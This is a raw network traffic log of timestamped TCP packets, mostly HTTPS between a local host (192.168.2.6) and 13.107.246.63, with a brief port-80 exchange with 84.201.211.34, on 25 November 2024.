Nov 25, 2024 18:28:54.590929031 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.591145992 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.591156006 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.591506958 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.635181904 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.635225058 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.635376930 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.635623932 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.635636091 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.712316036 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.712347031 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.712416887 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.712426901 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.712465048 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.712498903 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.729532957 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.729562998 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.729679108 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.729679108 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.729688883 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.732430935 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.745763063 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.745786905 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.746129990 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.746145010 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.746525049 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.757682085 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.757707119 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.757821083 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.757829905 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.757880926 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.757882118 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.769629955 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.769654036 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.769741058 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.769741058 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.769748926 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.772306919 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.777549982 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.777584076 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.777637005 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.777642012 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.777697086 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.777787924 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.779283047 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.779298067 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.839903116 CET	443	49821	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.841557026 CET	49821	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.841581106 CET	443	49821	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.842070103 CET	49821	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.842075109 CET	443	49821	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.865880013 CET	443	49822	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.866357088 CET	49822	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.866374016 CET	443	49822	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.867069960 CET	49822	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.867082119 CET	443	49822	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.871885061 CET	443	49824	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.876343966 CET	49824	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.876368999 CET	443	49824	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.876991034 CET	49824	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.877000093 CET	443	49824	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.995127916 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.995167971 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.995237112 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.995654106 CET	443	49823	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.995805979 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.995830059 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.996423960 CET	49823	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.996444941 CET	443	49823	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.000119925 CET	49823	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.000125885 CET	443	49823	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.343744040 CET	443	49822	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.343815088 CET	443	49822	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.343884945 CET	49822	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.346191883 CET	49822	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.346210003 CET	443	49822	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.346223116 CET	49822	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.346231937 CET	443	49822	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.348961115 CET	443	49821	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.348984003 CET	443	49821	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.349025965 CET	443	49821	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.349086046 CET	49821	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.349432945 CET	49821	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.349432945 CET	49821	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.349464893 CET	443	49821	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.349479914 CET	443	49821	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.350038052 CET	49831	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.350074053 CET	443	49831	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.350147009 CET	49831	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.350526094 CET	49831	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.350548983 CET	443	49831	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.352199078 CET	49832	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.352221966 CET	443	49832	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.352366924 CET	49832	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.352422953 CET	49832	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.352431059 CET	443	49832	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.542808056 CET	443	49824	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.542828083 CET	443	49824	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.542886972 CET	443	49824	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.542979002 CET	49824	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.542979002 CET	49824	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.543173075 CET	49824	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.543190956 CET	443	49824	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.543205023 CET	49824	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.543211937 CET	443	49824	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.544503927 CET	443	49823	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.544563055 CET	443	49823	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.544672966 CET	49823	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.544929028 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.546988010 CET	49823	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.547010899 CET	443	49823	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.547024965 CET	49823	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.547030926 CET	443	49823	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.548099995 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.548121929 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.548856020 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.548865080 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.551469088 CET	49833	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.551496983 CET	443	49833	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.551597118 CET	49834	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.551635981 CET	443	49834	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.551639080 CET	49833	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.551711082 CET	49834	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.551753044 CET	49833	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.551770926 CET	443	49833	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.552256107 CET	49834	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.552270889 CET	443	49834	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.562187910 CET	80	49703	84.201.211.34	192.168.2.6
Nov 25, 2024 18:28:55.562407970 CET	49703	80	192.168.2.6	84.201.211.34
Nov 25, 2024 18:28:55.562539101 CET	49703	80	192.168.2.6	84.201.211.34
Nov 25, 2024 18:28:55.688467979 CET	80	49703	84.201.211.34	192.168.2.6
Nov 25, 2024 18:28:55.997170925 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.997209072 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.997298956 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:55.997318983 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:55.997371912 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:56.001569986 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.001677990 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.001749992 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:56.002573013 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:56.002588034 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.002610922 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:56.002616882 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.011981010 CET	49835	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:56.012016058 CET	443	49835	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.012115955 CET	49835	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:56.012741089 CET	49835	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:56.012756109 CET	443	49835	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.272270918 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.272592068 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:56.272624016 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.273650885 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.273725033 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:56.274056911 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:56.274122000 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.274252892 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:56.274261951 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.327555895 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:56.779449940 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.779480934 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.779489994 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.779531002 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.779545069 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.779546022 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:56.779555082 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.779577971 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.779608965 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:56.779639006 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:56.795878887 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.801093102 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:56.801126003 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.802181959 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.802244902 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:56.802589893 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:56.802650928 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.802772045 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:56.847331047 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.856280088 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:56.856293917 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.904236078 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:56.969871044 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.969897032 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.969996929 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:56.970027924 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:56.970062971 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:56.970084906 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.023035049 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.023070097 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.023133993 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.023159981 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.023195982 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.023215055 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.060204029 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.060282946 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.060292959 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.060357094 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.113951921 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.113981009 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.217075109 CET	443	49831	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.250658989 CET	49831	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.250688076 CET	443	49831	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.251193047 CET	49831	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.251198053 CET	443	49831	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.333093882 CET	443	49832	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.333730936 CET	49832	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.333755016 CET	443	49832	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.334379911 CET	49832	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.334384918 CET	443	49832	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.356823921 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.356848001 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.356856108 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.356869936 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.356877089 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.356901884 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.356930017 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.356980085 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.357006073 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.357049942 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.388350010 CET	443	49834	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.390197992 CET	49834	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.390233040 CET	443	49834	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.391194105 CET	49834	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.391201019 CET	443	49834	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.402875900 CET	443	49833	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.407638073 CET	49833	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.407658100 CET	443	49833	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.408267975 CET	49833	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.408272982 CET	443	49833	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.528114080 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.528126955 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.528158903 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.528228045 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.528254986 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.528280973 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.528302908 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.557977915 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.558001995 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.558093071 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.558118105 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.558217049 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.667423964 CET	443	49831	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.667449951 CET	443	49831	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.667510986 CET	443	49831	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.667527914 CET	49831	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.667726994 CET	49831	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.716809988 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.716842890 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.716939926 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.716973066 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.720897913 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.738564968 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.738599062 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.738631964 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.738646984 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.738666058 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.738689899 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.756902933 CET	49831	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.756927967 CET	443	49831	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.759984970 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.760001898 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.760082960 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.760098934 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.761060953 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.790469885 CET	443	49832	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.796420097 CET	443	49832	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.797219038 CET	49832	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.835819960 CET	443	49834	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.835896969 CET	443	49834	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.835959911 CET	49834	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.837490082 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.837516069 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.837554932 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.837568045 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.837584972 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.840367079 CET	49832	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.840367079 CET	49832	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.840374947 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.840384007 CET	443	49832	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.840394020 CET	443	49832	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.852335930 CET	443	49833	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.855292082 CET	443	49833	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.855458021 CET	49833	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.870320082 CET	49833	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.870342970 CET	443	49833	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.870352983 CET	49833	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.870359898 CET	443	49833	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.917722940 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.917742968 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.917828083 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.917856932 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.917901039 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.933360100 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.933367014 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.933450937 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.933475971 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.936217070 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.949712992 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.949736118 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.949798107 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.949811935 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.949845076 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.949914932 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.965430021 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.965445042 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.965500116 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.965517044 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.965998888 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.974826097 CET	49834	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.974826097 CET	49834	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.974848032 CET	443	49834	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.974858999 CET	443	49834	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.976651907 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.976659060 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.976722956 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.976735115 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.976862907 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.978137016 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.980474949 CET	49845	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.980524063 CET	443	49845	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.980654955 CET	49845	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.985390902 CET	49845	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.985405922 CET	443	49845	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.985471964 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.985512018 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.985529900 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.985538960 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.985562086 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.985598087 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.985747099 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.987298012 CET	49846	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.987335920 CET	443	49846	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.987395048 CET	49846	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.992168903 CET	49846	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.992182016 CET	443	49846	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.993887901 CET	49847	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.993906975 CET	443	49847	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.993992090 CET	49847	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.994980097 CET	49848	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.995013952 CET	443	49848	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.995066881 CET	49848	443	192.168.2.6	13.107.246.63
